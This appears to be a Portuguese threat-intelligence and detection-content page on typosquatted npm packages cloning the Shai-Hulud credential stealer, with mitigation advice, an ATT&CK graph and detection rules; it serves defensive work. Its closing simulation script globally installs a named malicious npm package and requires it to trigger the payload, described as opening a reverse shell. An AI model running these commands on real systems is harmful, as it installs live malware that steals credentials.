Clones de Shai-Hulud: Os Imitadores do TeamPCP Estão Aqui
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Pesquisadores descobriram quatro pacotes npm maliciosos que combinam funcionalidade de ladrão de informações com capacidades de negação de serviço distribuída. Esses pacotes se passam por bibliotecas populares por meio de erros de digitação e incluem o código aberto Shai-Hulud modificado para usar servidores de comando e controle controlados por atacantes. A instalação de qualquer um dos pacotes pode resultar no roubo de credenciais, na exfiltração de segredos de nuvem e, em um caso, na inscrição do host infectado em um botnet de DDoS. As descobertas destacam o crescente risco na cadeia de suprimentos dentro do ecossistema npm.
Investigação
Analistas compararam o chalk-tempalte pacote ao código fonte vazado do Shai-Hulud e descobriram que é uma cópia quase exata, não ofuscada, configurada com um endpoint de comando e controle personalizado. Os pacotes restantes transmitiram dados roubados para domínios maliciosos separados ou para um endereço IP pela porta 2222, enquanto uma variante também implementou um serviço de bot local baseado em Go usado para atividade DDoS. Todos os quatro pacotes foram publicados pela mesma conta npm, fortalecendo o vínculo entre eles.
Mitigação
As organizações devem remover imediatamente os pacotes maliciosos de quaisquer projetos e excluir artefatos de configuração associados de ambientes de desenvolvedores e sistemas de compilação. Todas as credenciais que possam ter sido expostas devem ser rotacionadas, e o acesso à rede aos domínios maliciosos identificados e ao endereço IP deve ser bloqueado. As equipes também devem monitorar dependências npm para pacotes com erros de digitação que imitam as mesmas bibliotecas legítimas.
Resposta
Defensores devem criar detecções para conexões de saída para os domínios de comando e controle identificados, alertar sobre a instalação dos quatro nomes de pacotes maliciosos, e escanear sistemas para a chave pública embutida ligada ao malware. Qualquer sistema que tenha instalado um dos pacotes deve passar por uma revisão forense para determinar se serviços persistentes, tarefas agendadas ou cargas adicionais foram implementados.
graph TB %% Class definitions classDef technique fill:#99ccff classDef operator fill:#ff9900 initial_access[“<b>Técnica</b> – <b>T1195.002 Compromisso da Cadeia de Fornecimento</b><br/>Comprometer a cadeia de fornecimento de software para obter acesso inicial.”] class initial_access technique automated_collection[“<b>Técnica</b> – <b>T1119 Recolha Automatizada</b><br/>Recolher credenciais, variáveis de ambiente e ficheiros de configuração na cloud automaticamente.”] class automated_collection technique creds_in_files[“<b>Técnica</b> – <b>T1552.001 Credenciais Não Protegidas</b><br/>Credenciais armazenadas em ficheiros são recolhidas.”] class creds_in_files technique private_keys[“<b>Técnica</b> – <b>T1552.004 Credenciais Não Protegidas</b><br/>Chaves privadas são extraídas de localizações inseguras.”] class private_keys technique victim_identity[“<b>Técnica</b> – <b>T1589 Recolha de Informação de Identidade da Vítima</b><br/>Recolha de identificadores pessoais da vítima.”] class victim_identity technique victim_org[“<b>Técnica</b> – <b>T1591.001 Recolha de Informação da Organização da Vítima</b><br/>Determinação de localizações físicas da organização vítima.”] class victim_org technique code_repos[“<b>Técnica</b> – <b>T1213.003 Dados de Repositórios de Informação</b><br/>Recolha de repositórios de código.”] class code_repos technique npm_persistence[“<b>Técnica</b> – <b>T1176 Extensões de Software</b><br/>Persistência via pacote npm malicioso.”] class npm_persistence technique exfil_over_http[“<b>Técnica</b> – <b>T1011 Exfiltração por Outro Meio de Rede</b><br/>Envio de dados para C2 via HTTP/HTTPS.”] class exfil_over_http technique cloud_transfer[“<b>Técnica</b> – <b>T1537 Transferência de Dados para Conta na Cloud</b><br/>Movimento de dados roubados para armazenamento na cloud.”] class cloud_transfer technique initial_access –>|leva_a| automated_collection automated_collection –>|recolhe| creds_in_files automated_collection –>|recolhe| private_keys automated_collection –>|recolhe| victim_identity automated_collection –>|recolhe| victim_org automated_collection –>|recolhe| code_repos automated_collection –>|recolhe| npm_persistence creds_in_files –>|exfiltra| exfil_over_http private_keys –>|exfiltra| exfil_over_http victim_identity –>|exfiltra| exfil_over_http victim_org –>|exfiltra| exfil_over_http code_repos –>|exfiltra| exfil_over_http npm_persistence –>|exfiltra| exfil_over_http exfil_over_http –>|armazena_em| cloud_transfer
Fluxo de Ataque
Detecções
Download de Executável Suspeito (via proxy)
Ver
Possível Arquivo de Configuração de Tarefas Automáticas do Vscode Criado em Diretório Incomum [MACOS] (via evento de arquivo)
Ver
Upload/Download de Arquivo Remoto via Ferramentas Padrão (via linha de comando)
Ver
Possível Arquivo de Configuração de Tarefas Automáticas do Vscode Criado em Diretório Incomum [LINUX] (via evento de arquivo)
Ver
Arquivo Oculto Foi Criado no Host Linux (via evento de arquivo)
Ver
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via evento de registro)
Ver
Possível Uso de Schtasks ou AT para Persistência (via linha de comando)
Ver
Possíveis Pontos de Persistência [ASEPs – Software/NTUSER Hive] (via linha de comando)
Ver
Binário/Scripts Suspeitos em Localização de Inicialização Automática (via evento de arquivo)
Ver
Tentativa de Comunicações com Domínio de Pesquisa de IP Possível (via dns)
Ver
Comando e Controle Suspeito por Solicitação DNS de TLD (Domínio de Nível Superior) Incomum (via dns)
Ver
Possível Uso de Crontab para Execução Direta (via linha de comando)
Ver
COIs (IP de Origem) para detectar: Novos Atores Implantam Clones de Shai-Hulud: Imitadores do TeamPCP Chegaram
Ver
COIs (IP de Destino) para detectar: Novos Atores Implantam Clones de Shai-Hulud: Imitadores do TeamPCP Chegaram
Ver
Detecção de Conexões de Rede de Saída para Servidores C2 do Shai-Hulud [Firewall]
Ver
Detecção de Execução de Pacote NPM Malicioso [Criação de Processo Windows]
Ver
Detecção de Execução de Pacote npm Malicioso [Criação de Processo Linux]
Ver
Execução de Simulação
Pré-requisito: O Pré-verificação de Telemetria e Linha de Base deve ter sido aprovado.
Justificativa: Esta seção detalha a execução precisa da técnica do adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente os TTPs identificados e aimam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa do Ataque e Comandos:
- Reconhecimento Inicial (opcional): O atacante enumera o ambiente Node.js da vítima para confirmar se
npmestá presente. - Aquisição de Pacote Malicioso: O atacante baixa um pacote npm malicioso que imita uma utilidade legítima (por exemplo,
@deadcode09284814/axios-util). - Instalação e Execução: Usando uma única linha, o atacante instala o pacote globalmente e executa imediatamente uma carga de JavaScript que abre um shell reverso.
- Persistência (além do escopo): O atacante poderia adicionar o pacote malicioso ao
package.jsonpara uso futuro.
- Reconhecimento Inicial (opcional): O atacante enumera o ambiente Node.js da vítima para confirmar se
-
Script de Teste de Regressão: O script reproduz exatamente os passos 2‑3, gerando as cadeias de linha de comando que a regra Sigma corresponde.
# malicious_npm_execution.sh # ------------------------------------------------- # 1️⃣ Garanta que o runtime Node.js esteja presente if ! command -v node >/dev/null 2>&1; then echo "[*] Instalando Node.js e npm" sudo apt‑update && sudo apt‑install -y nodejs npm fi # 2️⃣ Instalar o pacote npm malicioso (simulado) # (Substitua por um pacote malicioso real em um teste real) MALICIOUS_PKG="@deadcode09284814/axios-util" echo "[*] Instalando pacote malicioso: $MALICIOUS_PKG" npm install -g "$MALICIOUS_PKG" # 3️⃣ Execute uma carga que o pacote acompanha # Aqui, simplesmente requeremos o pacote; o script postinstall # do pacote executará o código do atacante. echo "[*] Acionando carga maliciosa" node -e "require('$MALICIOUS_PKG');" # 4️⃣ Opcional: Mantenha o shell ativo para observação sleep 30 echo "[*] Teste concluído" # ------------------------------------------------- -
Comandos de Limpeza: Remover o pacote malicioso e quaisquer arquivos gerados.
# cleanup_malicious_npm.sh # ------------------------------------------------- echo "[*] Removendo pacote npm malicioso" npm uninstall -g "@deadcode09284814/axios-util" || true # Remova quaisquer node_modules residuais do diretório inicial rm -rf "$HOME/.npm/_cacache" echo "[*] Limpeza concluída" # -------------------------------------------------